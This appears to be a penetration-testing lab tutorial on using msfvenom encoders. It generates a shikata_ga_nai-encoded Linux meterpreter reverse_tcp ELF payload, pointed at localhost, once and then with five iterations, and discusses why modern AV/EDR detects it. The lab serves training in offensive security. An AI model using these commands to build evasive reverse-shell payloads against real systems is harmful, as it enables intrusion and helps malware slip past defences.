Use msfvenom Encoders to Obfuscate Payloads

Introduction

In the field of cybersecurity, payload obfuscation is a critical technique used to evade detection by security software. msfvenom, a powerful tool within the Metasploit Framework, is a standalone payload generator that can also be used to encode payloads, altering their structure to avoid signature-based detection by antivirus (AV) systems.

An encoder applies a series of transformations to the payload's original code, making it unreadable to simple signature scanners. When the payload is executed, a small decoder stub runs first, reconstructs the original payload in memory, and then transfers execution to it.

In this lab, you will learn the fundamentals of using msfvenom encoders. You will start by listing available encoders, then select a popular one to generate an encoded payload, apply multiple encoding iterations, and finally discuss the effectiveness of this technique against modern security solutions.

List available encoders with msfvenom --list encoders

In this step, you will begin by listing all the encoders available in msfvenom. This will give you an overview of the different options you have for obfuscating payloads.

First, you need to ensure the Metasploit Framework, which includes msfvenom, is installed. Run the following commands to update your package list and install it.

sudo apt-get update
sudo apt-get install -y metasploit-framework

Once the installation is complete, you can list all available encoders using the --list encoders option with msfvenom. This command will display a table of encoders with their rank, name, and a brief description. The rank indicates the encoder's reliability and effectiveness, with excellent being the highest.

Execute the following command in your terminal:

msfvenom --list encoders

You will see a long list of available encoders. The output will be structured like this, showing the name, rank, and description for each one.

Framework Encoders [--list encoders]
====================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/sh_char_code              manual     Shell Char Code Substitution Command Encoder
    ...
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    ...
    x64/zutto                     normal     Ruby based x64 encoder

Take a moment to scroll through the list to see the variety of encoders available for different architectures and purposes.

Select an encoder like x86/shikata_ga_nai

In this step, you will learn about one of the most well-known encoders: x86/shikata_ga_nai. There is no command to execute in this step; the goal is to understand why a specific encoder might be chosen.

From the list you generated in the previous step, you likely noticed the x86/shikata_ga_nai encoder. It is famous for a few reasons:

Rank: It has an excellent rank, meaning it is highly reliable and unlikely to corrupt the payload during the encoding process.
Polymorphism: It is a polymorphic encoder. This means it changes its own decryption code each time it's applied. In theory, this makes it much harder for AV software to create a static signature for the decoder stub.
Wide Use: It has been one of the most popular and default encoders in Metasploit for many years, making it a classic example for learning about obfuscation.

While its popularity has also led to it being heavily fingerprinted by modern AVs (a topic we will cover later), it remains a perfect example for demonstrating the encoding process. In the next step, you will use this encoder to obfuscate a payload.

Generate a payload using the -e flag to specify the encoder

In this step, you will generate a payload and apply the x86/shikata_ga_nai encoder to it. You will use the -e flag to specify the chosen encoder.

Let's create a simple Linux reverse TCP payload. This payload will attempt to connect back to a specified IP address and port. We will encode it and save it as an ELF (Executable and Linkable Format) file, which is the standard binary format for Linux.

The command structure is as follows: msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>

-p: Specifies the payload. We'll use linux/x86/meterpreter/reverse_tcp.
LHOST and LPORT: Options required by the payload to know where to connect back. We'll use 127.0.0.1 (localhost) for this example.
-e: Specifies the encoder. We'll use x86/shikata_ga_nai.
-f: Specifies the output format. We'll use elf.
>: Redirects the output to a file.

Now, run the following command in your terminal to generate the encoded payload and save it as encoded_payload.elf:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf

msfvenom will process the request and show you some information about the generated payload, including the final size.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes

You have now successfully created an encoded payload file named encoded_payload.elf in your current directory (~/project). You can verify its creation with the ls -l command.

ls -l

total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf

Use the -i flag to apply multiple encoding iterations

In this step, you will learn how to apply the encoder multiple times to the same payload using the -i flag for iterations. The theory is that multiple layers of encoding will make the payload even harder to detect.

While this sounds effective, it has trade-offs. Each encoding iteration adds a new decoder stub, which increases the overall size of the payload. Furthermore, this can sometimes create a repetitive pattern that security software can detect.

Let's apply the x86/shikata_ga_nai encoder 5 times to the same payload. We will save this new payload as multi_encoded_payload.elf to compare it with the previous one.

Use the following command, adding the -i 5 flag:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf

msfvenom will now apply the encoder five times. Notice the output, which shows each iteration.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes

Now, use ls -l to compare the file sizes of the single-encoded and multi-encoded payloads.

ls -l

total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf

As you can see, the multi_encoded_payload.elf is significantly larger than encoded_payload.elf due to the repeated encoding process.

Discuss the effectiveness of encoders against modern AV

In this final step, we will discuss the real-world effectiveness of basic encoders like x86/shikata_ga_nai. This step is purely conceptual, and there are no commands to run.

While encoders were once a highly effective method for bypassing AV, their effectiveness has greatly diminished against modern security solutions like next-generation antivirus (NGAV) and endpoint detection and response (EDR) systems. Here's why:

Signature of the Decoder: Security vendors know how popular encoders work. The decoder stub for shikata_ga_nai is, itself, a well-known signature. Many AV products will flag a file simply because it contains this decoder, regardless of what payload it's trying to decode. Applying more iterations (-i flag) often makes this signature even more obvious.
Heuristic and Behavioral Analysis: Modern AVs don't just rely on static signatures. They use heuristics to identify suspicious characteristics (e.g., a small program trying to allocate executable memory) and behavioral analysis to monitor what a program does when it runs. An encoded payload that decodes itself in memory and then tries to open a reverse shell is a highly suspicious behavior that is easily detected.
Sandboxing and Emulation: Many security products can execute a suspicious file in a safe, virtual environment (a sandbox) to observe its behavior before it runs on the actual system. In the sandbox, the AV can let the payload decode itself and then analyze the original, malicious code.

In conclusion, while understanding msfvenom encoders is a fundamental skill, relying solely on them for obfuscation is not a viable strategy in modern environments. Advanced evasion requires more sophisticated techniques, such as creating custom encoders, using packers and crypters, and employing methods that specifically target and bypass behavioral detection engines.

Summary

In this lab, you explored the basics of payload obfuscation using msfvenom encoders.

You learned how to:

List all available encoders with msfvenom --list encoders.
Select and understand the purpose of a popular polymorphic encoder like x86/shikata_ga_nai.
Generate an encoded payload using the -e flag.
Apply multiple encoding iterations with the -i flag and observe the impact on file size.
Understand the limitations of basic encoders against modern antivirus and EDR solutions.

This knowledge provides a solid foundation for understanding payload generation and the cat-and-mouse game of malware detection and evasion. The techniques you practiced are a starting point for exploring more advanced obfuscation methods used in professional penetration testing.

Use Encoders to Obfuscate Payloads with msfvenom